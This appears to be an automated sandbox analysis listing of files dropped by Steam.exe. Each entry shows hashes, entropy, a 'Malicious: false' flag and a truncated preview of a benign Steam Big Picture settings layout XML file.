Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/wizardstyles.css" />....<include src="file://{resources}/styles/settings.css" />.....</styles>.....<SettingsPanelAudio_Profile class="WizardChild" defaultfocus="Profile" tabindex="auto" selectionpos="auto">....<Panel class="WizardContent">.... <Label class="SettingsCallout LongDesc" text="#SettingsAudio_Profile_Information" />.... <Panel class="Spacer"/>...... <Panel class="FlowDown" tabindex="auto" selectionpos="auto">..... <Label class="SettingsCallout LongDesc" text="#SettingsAudio_Profile_ToDo" />..... <Panel class="Spacer"/>..... <DropDown class="AudioDropDown_Wiz" id="Profile" />.... </Panel>.. </Panel>......<Panel id="WizardButtons" tabindex="auto" selectionpos="auto">.....<Button class="WizardButton GapRight" id="ButtonNext" onactivate="WizardButtonNext()">......<Label id="Label" text="#WizardButton_Next" />.....</Button>.......<Button class="Wiz

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\network\settings_network_connect.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1626
Entropy (8bit):	5.030593802589378
Encrypted:	false
SSDEEP:
MD5:	D03CE4B35A70770D6846F019AC1E3EFF
SHA1:	59264B1EF8E71B7866FE1E326F39511345647AEB
SHA-256:	20EAD0E9026DEE848015F7C3F46BFBA70D3CABD945F2F55268D1EBA6B9B83386
SHA-512:	7AC83D29AAFC8EB75318D6709A755B190CEF6418A603BA2168FADDDC35C6A41EF42D90BCBABBA0F2B02D8C3247852B90643BAE4A5BF27C4680EF399712601D30
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/wizardstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanelNetwork_Connect class="WizardChild" tabindex="auto" selectionpos="auto">...... <Panel class="WizardContent">.... <Panel class="CenteredContainer">..... <LoadingThrobber class="NetworkThrobber" />..... <Label id="ConnectionStatus" class="LongDesc" />.... </Panel>.. </Panel>......<Panel id="WizardButtons" tabindex="auto" selectionpos="auto">.. the OOBE only shows "Next" (when connected) and "Back" (when not); intent is that it's impossible to go backwards once connected -->.. the non-OOBE (settings -> network) shows "Back", "Cancel", and "Finish"; "Back"/"Cancel" are enabled when connecting and disabled when connected; vice versa for "Finished" -->.. <Button class="WizardButton GapRight" id="ButtonNext" onactivate="WizardB

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\network\settings_network_device_wiz.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2522
Entropy (8bit):	5.029220038664436
Encrypted:	false
SSDEEP:
MD5:	1EF21808EA7FEA25BCA7813B8127D5FA
SHA1:	237CBD4CD0C34AD780B388C62CD22C14F0E925D4
SHA-256:	C7E12D1E376E29224DA25EBFB322D329E973F33D54BE4F3D9B1717D321294CDB
SHA-512:	B9076A7640BF964CD75B884A167BCB75F80BB4D8825E32DE13B9B25B61A58BEB7F8EF8E7BD6E63108F75F4ED8BFB5DF9187B1FEF5B17161C9651EC6BB502E0DD
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/wizardstyles.css" />....<include src="file://{resources}/styles/settings.css" />.....</styles>.....<SettingsPanelNetwork_Device class="WizardChild" childfocusonhover="false" tabindex="auto" selectionpos="auto">.. <Panel class="WizardContent">.... <Label class="SettingsCallout LongDesc" text="#SettingsNetwork_Device_Choose" />.... <Panel class="Spacer"/>...... <RadioButton childfocusonhover="false" group="NetDeviceChoice" id="UseWired" class="AvailableNetwork AvailableDevices HorzContainer">..... <Image class="NetworkSelectedImage" />..... <Label class="DeviceName" text="#SettingsNetwork_Wired_Choice" />..... <Label class="NetworkConnectionStatus" id="WiredConnected" text="#SettingsNetwork_Device_Connected" />..... <Label class="NetworkConnectionStatus" id="WiredPluggedIn" text="#SettingsNetwork_Device_PluggedIn" />..... <Label class="NetworkConnectionSt

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\network\settings_network_ipconfig.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1553
Entropy (8bit):	5.035673699322457
Encrypted:	false
SSDEEP:
MD5:	1BF77CFF8009BD0894AD4EE13F2AF973
SHA1:	CDF17BBEFC67A37F0FD349108BF0AB8B9F0206EA
SHA-256:	AB403D7A712DB3A26EB2933B687C83D2A6478559CFFFB5EE68C2638B6C947522
SHA-512:	1423E6B927327E830363C7A87C9377045829A9E3DBDF2466BA5FA2A1897F7F2940909B7DB095A43907526AE5703276A0436C82C88EFC9062BFC9D4B4E6E713B7
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/wizardstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanelNetwork_IPSettings class="WizardChild" defaultfocus="SettingsNetwork_Automatic" tabindex="auto" selectionpos="auto">.. <Panel class="WizardContent">.... <Label class="SettingsCallout LongDesc" text="#SettingsNetwork_IPSettings" />.... <Panel class="Radios" childfocusonhover="false">.... <RadioButton group="IPChoice" class="Button RadioButton" id="SettingsNetwork_Automatic" tabindex="0.0" text="#SettingsNetwork_Automatic" selectionpos="auto" onactivate="Autoconfig( true );" />.... <RadioButton group="IPChoice" class="Button RadioButton" id="SettingsNetwork_Manual" tabindex="1.0" text="#SettingsNetwork_Manual" selectionpos="auto" onactivate="Autoconfig( false );" />.... </Panel>.. </Panel>.. ....<Panel id="WizardButtons" tabindex="auto" select

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\network\settings_network_ipcustomconfig.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3400
Entropy (8bit):	5.09630381186413
Encrypted:	false
SSDEEP:
MD5:	D8759754433EC528BF30800015D4F237
SHA1:	DF4E667E76ECF10E52AC7571FFC6B370AC2CFD3C
SHA-256:	E62B17E09785FE1EC0AE6CDB37173CCD08E11A8E0CDE64185D543601ADA68565
SHA-512:	B14AC90C0362A4C8AF776430A64476BDEACC5F3D97F447B88C77C8ED9A2C279921C1181BB2F293FAA7DA4AA823BFB2EDAC99814DA5CF06106A275849C53E45A2
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/wizardstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanelNetwork_IPCustomSettings class="WizardChild" tabindex="auto" selectionpos="auto">....<Panel class="WizardContent">.... <Label class="SettingsCallout LongDesc" text="#SettingsNetwork_Manual_Instructions" />....... <Panel id="WrapperPanel" >...... <Label class="SettingsLegend NetworkSettingsIPSettingsLegend" text="#SettingsNetwork_CustomIP" />....... <TextEntry........ id="SettingsNetwork_CustomIP"........ class="WizardTextEntry"........ textinputid="CustomIP"........ textinputclass="HalfWidth DockRight AppearFromBottomCenter NoTouchPads">........ <Label class="TextEntryPrompt SettingsNetwork_IPv4Format" text="#SettingsNetwork_IPv4_Format" />....... </TextEntry>........ <Label class="SettingsLegend NetworkSettingsIPSettingsLegend" text="#Settings

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\network\settings_network_list_entry.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	573
Entropy (8bit):	4.959840171694019
Encrypted:	false
SSDEEP:
MD5:	EA9054A60802A8C8422A92F258442B10
SHA1:	6B5ABB9B3D120A20949D1E0ECA39AE2E00EEC94F
SHA-256:	4085302B3D425F0B174F916CEED9AA464D452A02CBA66CAF9913F091E8A0A6DF
SHA-512:	3161399F92B5B8184A025A9F4F5920652178EF9E6466F15B10832FB1B18E141F3C29973F1C0FC90D33E27A9E9F6BB83B5C74387164199EFB8540B76568D10A20
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanel_NetworkSSIDEntry class="AvailableNetwork AvailableNetworkNotSelected HorzContainer" onactivate="NetworkListEntrySelected()">....<Image class="NetworkSelectedImage"></Image>....<Label id="NetworkName" class="NetworkName"></Label>....<Panel id="NetworkLock" class="NetworkLockBase"></Panel>....<Panel id="NetworkSignal" class="NetworkSignalBase"></Panel>...</SettingsPanel_NetworkSSIDEntry>....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\network\settings_network_wap_credentials.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1855
Entropy (8bit):	5.074095411159565
Encrypted:	false
SSDEEP:
MD5:	0517BF4676C5C713E80BFA1B2694333F
SHA1:	81B03F56C013473715C750AEB400105715254A0B
SHA-256:	323BD8E004393EC4C2BED4FD80B9E805869A1B4C96EB10A2609E755A7D43172B
SHA-512:	D0F8D194AAEACC5ECA979615D78FAD45D10592EC4712317B880C6ADB58873F89A4E341093BBE3D0A2480A82D0B749CC4DF0A243E472CBA999F0D29BC2FD68125
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/wizardstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanelNetwork_Credentials class="WizardChild" defaultfocus="SettingsNetwork_Credentials" tabindex="auto" selectionpos="auto">....<Panel class="WizardContent">.... <Label class="SettingsCallout LongDesc" text="#SettingsNetwork_WAP_Credentials" />.... <Panel class="Spacer"/>...... <Panel id="CustomSSID_Edit" class="NetworkWiFiCredentials FlowDown" >..... <TextEntry...... id="SettingsNetwork_Credentials"...... class="WizardTextEntry"...... textinputid="Credentials"...... textinputdoneactionstring="#SettingsNetwork_Credentials_C"...... textinputclass="HalfWidth DockRight AppearFromBottomCenter NoTouchPads".. textinputhidesuggestions="1"..... />..... <Panel class="Spacer"/>..... <Panel class="HorzContainer">...... <ToggleButton class="CheckBox"

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\network\settings_network_wap_custom_ssid.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1723
Entropy (8bit):	5.124152494137888
Encrypted:	false
SSDEEP:
MD5:	D0F805D2A4D25C73B32729218F05F6F2
SHA1:	02D094D33AA207D891B081A66EB569FEED63E682
SHA-256:	8EA1746E3683F36E778EF982F75AA26277BCAE05863D87129668CFB9F987F7D9
SHA-512:	33943D962D67441CEFDDC756EC3CA197889FB2A541895F04FAD072AA021CB299305F2B169B13282DF84B5B7A487D6BAA3F247A69B7A45A26F8D287B071FBBD68
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/wizardstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanelNetwork_OtherSSID class="WizardChild" defaultfocus="SettingsNetwork_SSID_Other_id" tabindex="auto" selectionpos="auto">....<Panel class="WizardContent">.... <Label class="SettingsCallout LongDesc" text="#SettingsNetwork_WAP_OtherSSID" />.... <Panel class="Spacer"/>...... <Panel id="CustomSSID_Edit" class="NetworkWiFiCustomSSID" selectionpos="auto">..... <TextEntry...... id="SettingsNetwork_SSID_Other_id"...... class="WizardTextEntry"...... textinputid="SSID_Other"...... textinputdoneactionstring="#SettingsNetwork_SSID_Other_DAC"...... textinputclass="HalfWidth DockRight AppearFromBottomCenter NoTouchPads".. textinputhidesuggestions="1"..... />.... </Panel>...... <Label class="SettingsCallout LongDesc" text="#SettingsNetwork_WAP_OtherS

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\network\settings_network_wap_list_entry.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	570
Entropy (8bit):	4.925964837114274
Encrypted:	false
SSDEEP:
MD5:	8F913E3EBCA9B1C32DC4D582D6B9A02D
SHA1:	AA45366126B386569A9F896768C5C6EBBD4D9B26
SHA-256:	1CC53EBFC1AA10477AE0734AFA532A5416F2061B2E908FF6FF6D760A9686BC3A
SHA-512:	55AA982733B20FCBE3AB1B939922AA58FBF0EA78894BFDD62016913F9BD15AF8E92CA1E49BD08886C1F2ABD8525A305FB8953CA21AB22B29DFDDE4B7D84049ED
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<NetworkSettings_AvailableSSID class="AvailableNetwork AvailableNetworkNotSelected HorzContainer">....<Image class="NetworkSelectedImage" />....<Label id="NetworkName" class="NetworkName" />....<Panel id="NetworkConnected" class="NetworkConnectedBase"/>....<Panel id="NetworkLock" class="NetworkLockBase" />....<Panel id="NetworkSignal" class="NetworkSignalBase" />...</NetworkSettings_AvailableSSID>....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\network\settings_network_wap_wiz.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1983
Entropy (8bit):	5.007676706128867
Encrypted:	false
SSDEEP:
MD5:	8F295F6FD580790F978A186A69691167
SHA1:	C6AB76DFCD05FB388724CCAE8CD7DA1E3C08D73E
SHA-256:	93418200D7458B1A754CF292201049F66A58F92E465AC1F967009F3367BE04CA
SHA-512:	62DCE50C4552E2CE637003FCB95F6EC2178123A505ACE592BDF0B2EDCD87291F40A4BBF3307ECF4297B9DDA3E18B5E085DEC64320AA2CECE04CA69A16A2D202C
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/wizardstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanelNetwork_WAP class="WizardChild" tabindex="auto" selectionpos="auto">....<Panel class="WizardContent">.... <Label class="SettingsCallout LongDesc" text="#SettingsNetwork_WAP_Choose" />...... <Panel class="SettingsBottomPanel SettingsBottomPanel_NetworkSettings" tabindex="auto" selectionpos="auto">..... <Panel class="SettingsContent SettingsLeftContent SettingsNetwork_SSIDList" tabindex="auto" selectionpos="auto">...... <Panel id="AvailableNetworksList" class="VertContainer">....... Add all the SSID instances here -->...... </Panel>........ <Panel class="NetworkSettingsRightPane" tabindex="auto" selectionpos="auto">.......... <Button id="RefreshWAPList" class="SettingsNetwork_LeftButton Button " onactivate="NetworkWizardRefreshSSIDs()">.......

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6702
Entropy (8bit):	4.853803744380862
Encrypted:	false
SSDEEP:
MD5:	52D12F19D2F52EB5D79A4DE2A7F8BE5B
SHA1:	D6A8810B8DB804AFA3643D5521FA189B4D345303
SHA-256:	F1B61DB5A729039A5183F6353AA294C5F9AFB1A59FFBA43A7BEAB603C8D7E600
SHA-512:	130BFB1D7CA22AAD0B7B070AC838E60C6DD549881CFF2DB336773A7353D284BADEF05C232203A04887FE56A7D8FD139ECB268F9F56E941FE947EE191DDB022A9
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanel oncancel="NavigateTenfootBack()">....<Panel class="SettingsBottomPanel FlowRight" tabindex="auto" selectionpos="auto" >.. .. first column -->.. <Panel class="SettingsContent SettingsContentColumnv2" tabindex="auto" selectionpos="auto">.. Personal -->.. <Label id="PersonalSettingsHeaderLabel" class="LongDesc SettingCategory" text="#Settings_Personal"/>.. .. <Button id="AccountSettingsButton" class="Button" onactivate="ShowSettings( Account );">.......<Label class="LongDesc" text="#Settings_Account" />......</Button>.. <Button id="FriendsSettingsButton" class="Button" onactivate="ShowSettings( Friends );">.......<Label class="LongDesc" text="#Settings_Friends" />......</Button>.. .. Controller -->.. <Label class="LongDesc SettingCategor

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_about.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4350
Entropy (8bit):	4.962967465211372
Encrypted:	false
SSDEEP:
MD5:	EFA4622FE4D5BB68609F9C80D018C013
SHA1:	0E2864AB9C084AA544EC279F85BA44B4F879AFB9
SHA-256:	B1A330AC7F7F17228CB52E4896223635F2DE65DED3429C14A5933C0D261BD4E6
SHA-512:	0D33ED1813DC060BDE878439872EBEAD894D72B53EEDDB687445E29C56CAE4322289DED97346CF1D49ADE16E8B9EF2820F44FDF3D8B3AB6A679741B912D7B5F0
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanel_About class="SettingsSection" defaultfocus="SettingsInterface_SteamClientCheckForUpdates">....<Panel class="SettingsBottomPanel" tabindex="auto" selectionpos="auto">.......<Panel class="SettingsLeftContent" tabindex="auto" selectionpos="auto">......<Label class="SettingsLegend" text="#SettingsInterface_SteamClientUpdateDesc" />.....<Button class="Button ResBody" id="SettingsInterface_SteamClientCheckForUpdates" onactivate="CheckForSteamClientUpdate();" tabindex="auto" selectionpos="auto">......<Label class="LongDesc" id="SettingsInterface_SteamClientCheckForUpdatesLabel" text="SettingsInterface_SteamClientCheckForUpdates" />......<Label class="LongDesc" id="SettingsInterface_SteamClientChecking" text="#SettingsInterface_SteamClientChecking" />......<Label class="LongDesc" id="SettingsInterface_SteamClientDownloading

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_account.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2570
Entropy (8bit):	4.9496539500093
Encrypted:	false
SSDEEP:
MD5:	BF996F3B649C6ABFB6ECBE97B3FF12C0
SHA1:	34D206869CF2E104BF6B5C32E62FA103F2C1A076
SHA-256:	1A11BEC212ADBF00E9AA15201005D5FAFAAB7B5C14D9901AF1CF16F0BA29565D
SHA-512:	50C9E6D51BC875F81B872AFF5138CD8B39CE19AC6BD1662D304AF62A9BA8FE34DC7622A9F554B985CDFF83FFD6B4A5911A4424E1ADC2CFDA0CA527306E924B9D
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanel_Account class="SettingsSection" defaultfocus="SettingsAccount_History">....<Panel class="SettingsBottomPanel">..... main panel -->.....<Panel class="SettingsContent FlowRight">.. <Panel class="SettingsContentColumnv2" tabindex="auto" selectionpos="auto">...... <Button id="SettingsAccount_History" onactivate="BrowseToSteamURL( StoreAccount )" class="Button">....... <Label class="LongDesc" text="#SettingsAccount_History" />...... </Button>...... <Button class="Button" id="SettingsAccount_ChangePassword" onactivate="BrowseToSteamURL( HelpChangePassword )" >....... <Label class="LongDesc" text="#SettingsAccount_ChangePassword" />...... </Button>...... <Button id="SettingsAccount_ChangeEmail" onactivate="BrowseToSteamURL( HelpChangeEmail )" class="Button" >....... <Label class="LongDesc" text="#Settings

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_alienfx.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5468
Entropy (8bit):	5.060868679431106
Encrypted:	false
SSDEEP:
MD5:	7B5695D217EBED6E3797F0626D02D83F
SHA1:	DD79C5C5670E774962A1F2E4088BBE84816F698F
SHA-256:	45A3BE040533C10F031A8339E2B8CE302E87E539ED8A0147979AF11331A94E5B
SHA-512:	78B751D6B47E5241CC355FE40CED6973E07783F6D53D3F59A4A91D363A00A370FC77817BFFE93745F6C701846FC2A727BF19271F779C8D99649BDCD80DC9ABD5
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />.......</styles>.....<SettingsPanel_AlienFX class="SettingsSection">.. <Panel class="SettingsBottomPanel" tabindex="auto" selectionpos="auto">.... <Panel class="SettingsContent SettingsCenterContent" tabindex="auto" selectionpos="auto" childfocusonhover="true">........<Panel class="VertContainer">.......<Label text="#Settings_AlienFXDescription" />.........<Panel id="AlienColor" class="colorpicker" childfocusonhover="true">........<Image id="Alien" src="file://{images}/settings/alienfx_alien.png" />........<Panel class="colorwrapper">.........<Panel class="colorregion" childfocusonhover="true">..........<Button id="#0000f0" onactivate="SetColor();" style="background-color: #0000adff;" />..........<Button id="#0010f0" onactivate="SetColor();" style="background-color: #0045adff;" />..........<Button id="#004090" onactivate="SetColor();" style="ba

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_audio.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2823
Entropy (8bit):	4.940294469187435
Encrypted:	false
SSDEEP:
MD5:	723930CDFA632A921499988454C5410D
SHA1:	17917D2BF2E86CEA5AB90A5BAA4ECFB984925C05
SHA-256:	A2FDAAB4452D03A38DD870E104C3CF5124767DAD302A37D267F610F9687CC4D4
SHA-512:	31C3E530406F4DDE17C28BF78D32D55EF11FD02CFA29BA1CE4FB915AB01B575B2DFA6A826DF3D76511A5C71FF89211B1E1EE16A87935C9BCA4D3F85A35D64E89
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />.......</styles>.....<SettingsPanel_Audio class="SettingsSection" defaultfocus="SettingsAudio_MuteAll">.... main panel -->....<Panel class="SettingsBottomPanel" tabindex="auto" selectionpos="auto">.....<Panel class="SettingsContent SettingsLeftContent" tabindex="auto" selectionpos="auto">......<Panel class="SettingsSubhead" tabindex="auto" selectionpos="auto">........<Label class="SettingsCallout" text="#SettingsAudio_Steam" />......</Panel>......<ToggleButton tabindex="1.0" class="CheckBox" id="SettingsAudio_MuteAll" text="#SettingsAudio_MuteAll" onactivate="MuteAll()"/>......<Panel id="AudioVolume" class="FlowDown SettingsRight">.......<Panel class="HorzSub SettingsRight">........<VUMeter writable="true" id="AmbientLevel" class="VoiceBarContainer" numbars="10" barpaneladdclass="VoiceBar" barpanelactiveclass="VoiceBarActive" />........<Label c

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_authorize_local_device.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1608
Entropy (8bit):	4.944372924162136
Encrypted:	false
SSDEEP:
MD5:	AAF16EBF08C06C42380A61220942DC54
SHA1:	6E3AB94127F1B08FE0B10783CC3D993706A5DD93
SHA-256:	247B769411D1BE0113308B10A35469659FE6EDCFC4CF04AB9F8A87455D125C9A
SHA-512:	064A26B4D182C83F6C3EB15CF599C5FF5B0F263198A140E5E8502B1F4FAF3250367109F8DC4984B506167C5C83C707B265E214B9A95DB665AC66D486AD010008
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanel_About class="SettingsSection" tabindex="auto" selectionpos="auto" >.... main panel -->.. <Panel class="SettingsBottomPanel" tabindex="auto" selectionpos="auto">.... <Panel class="SettingsContent" >..... <Panel class="FlowDown" >............ <Label id="DeviceAuthorizedStateLabel" class="Settings" text="#Settings_Family_Sharing_StateNotAuthorized"/>............ <Panel class="FlowRight" >....... <Button id="AuthorizeDeviceButton" onactivate="AuthorizeLocalDevice()" class="Button">........ <Label class="LongDesc" text="#Settings_Family_Sharing_AuthorizeDevice" />....... </Button>.............. <Button id="DeauthorizeDeviceButton" onactivate="DeauthorizeLocalDevice()" class="Button">........ <Label class="LongDesc" text="#Settings_Family_Sharing_DeauthorizeDevice" />....... </Button>.............. <Butto

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_bluetooth.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1876
Entropy (8bit):	4.353235454527902
Encrypted:	false
SSDEEP:
MD5:	728418744F6E4E5108BB269B388F497A
SHA1:	0296C8CCC7A87942A995AD8486152E07EDF2D86C
SHA-256:	18BA7DB0FD8F7FCDE6CB8726725EDEA99FF9678D0B2D87E3811AC6BB5E4A3395
SHA-512:	A38D9F4DDA63EA14AA4E5CB136B371199AE0F2445E2358439F980EA525F859E5912D7F81FD3DFFB358596ADEC2FCA7FEF31534DD0E26E71B0A88490D18A8EC4D
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanel_Bluetooth class="SettingsSection">.. <Panel class="SettingsBottomPanel">.. .. main panel -->.. <Panel class="SettingsContent" tabindex="auto" selectionpos="auto">.. <Panel id="SettingsBluetooth_IntroBlock" class="HorzContainer">.. <Label class="SettingsCallout" text="#SettingsBluetooth_Intro" />.. </Panel>.... <Panel class="HorzContainer">.. <Panel id="SettingsBluetoothDeviceTable">.. <Panel class="SettingsBluetoothHeader">.. <Label id="DeviceTypeHeader" class="SettingsBluetooth_ColumnName SettingsBluetooth_ColLeft" text="#Settings_Bluetooth_Type" hittest="false" />.. <Label id="DeviceNameHeader" class="SettingsBluetooth_ColumnName Set

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_bluetooth_device.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	563
Entropy (8bit):	4.790787649149158
Encrypted:	false
SSDEEP:
MD5:	E8024979D4E01D73CE8B95E5A1A4B4FC
SHA1:	4421C6F334A4C429284398D81B4F9AADD60BF408
SHA-256:	5FABA8E1343FC3097EAB1B98889960322C44FBBC0356DB7FD7C857BFC889A759
SHA-512:	214E7310D0EE0DD85F237E047BD8CDC9B7199873148114CDD837CE3812033CCB8A19C08DC3FC94EC5DAE64DE64ACD137CFB08C5524A84848368490A5D95AE417
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanelBluetoothDeviceListing>....<Button>.. <Label id="DeviceType" class="SettingsBluetoothDevice SettingsBluetooth_ColLeft" />.....<Label id="DeviceName" class="SettingsBluetoothDevice SettingsBluetooth_ColMiddle" />.. <Label id="DeviceConnection" class="SettingsBluetoothDevice SettingsBluetooth_ColRight" />....</Button>...</SettingsPanelBluetoothDeviceListing>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_broadcast.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1315
Entropy (8bit):	4.782637772270658
Encrypted:	false
SSDEEP:
MD5:	D2765642C859C900509463C1BE1C2D36
SHA1:	C107E76E332C66F802C84AE0FF03533CF1C4A67A
SHA-256:	D0A4B99B255B5FBE464D6F80A1186062FB2111D812BAB5AE2D135D8F4B49EC47
SHA-512:	47385778FD4E3F16760435F780FC1BCA43E7FA95DCB9A4BB22C5C21E6F5C6273BADC24460CBD5BB4B1B6584D145AB3DC4065B8E3B4269A68710560FDC7D883EC
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanel_Broadcast class="SettingsSection" defaultfocus="SettingsDownloads_Libraries">....<Panel class="SettingsBottomPanel">.. <Panel class="SettingsContent" tabindex="auto" selectionpos="auto">..... <Panel id="SettingsBroadcast_SubControls" class="FlowDown" tabindex="auto" selectionpos="auto">........ <Label class="SettingsLabel" text="#Settings_Broadcast_PermissionsHeader" />.......<DropDown id="SettingsBroadcast_Permissions" class="Filter" />.................<Panel class="Spacer" />..............<Label class="SettingsLabel" text="#Settings_Broadcast_DimensionsHeader" />.......<DropDown id="SettingsBroadcast_Dimensions" class="Filter" />...............<Panel class="Spacer" />..............<Label class="SettingsLabel" text="#Settings_Broadcast_BitrateHeader" />.......<DropDown id="SettingsBroadcast_Bitrate" c

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_controllerconfigs.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1619
Entropy (8bit):	4.9188664166820235
Encrypted:	false
SSDEEP:
MD5:	CC680E35DC709116A57AC551FDC1BA07
SHA1:	CCF861BA9B3D4FE5E4F9B163DF3A664839295F09
